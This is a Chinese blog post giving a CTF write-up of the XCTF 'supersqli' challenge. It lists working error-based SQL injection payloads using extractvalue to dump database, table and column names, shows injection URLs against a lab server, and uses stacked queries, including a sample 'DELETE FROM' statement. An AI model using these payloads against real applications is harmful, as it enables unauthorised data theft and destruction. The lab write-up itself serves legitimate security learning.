mysql 多行拼接注入_sql报错注入+叠加注入+sql语句拼接

XCTF题目:supersqli

一打开页面尝试使用“ '  ”发现可以报错注入

xpath语法错误

利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。

使用条件:mysql版本>5.1.5

针对mysql数据库:

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))

爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))

爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

c169f9d2c437f9bb34466fcd468b41bf.png

接着使用报错注入获取数据库名称

http://220.249.52.133:34053/index.php?inject=1' and extractvalue('~',concat(0x7e,database())) --+

4dda196be43514b5ee98dfa1f85d2117.png

取得数据库名称:

supersqli

因为过滤了select,这里尝试使用其他方法。

尝试使用叠加注入

堆叠注入顾名思义是指多条SQL语句一起执行。一条SQL语句以;结束,我们可以在结束符后面继续构造下一条SQL语句,这样它们会一起执行。比如

select * from users;DELETE FROM test

获取表名:

http://220.249.52.133:34053/index.php?inject=1' ;show tables from `supersqli` ;--+

80f898f68a8649a0ea349c4c941f52e1.png

获取字段名

http://220.249.52.133:34053/index.php?inject=1' ;show columns from `1919810931114514` ;--+

30576c639668f63abb1ac54fe36fe924.png

发现一个flag字段,使用字符串拼接,配合预处理语句执行最后得到flag

6fc898ad8b2167aaddee77473ee7324c.png

遇到一个坑:

在这里的admin用了两个不同的符号框起来

情况1:

7d0f251d4c030d92e69e60a4adfd11ca.png

情况2:

fbfe69fecfe8753ec3deeac65dd3e1e6.png

所以表示一个表的名字时要使用 ` 符号

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值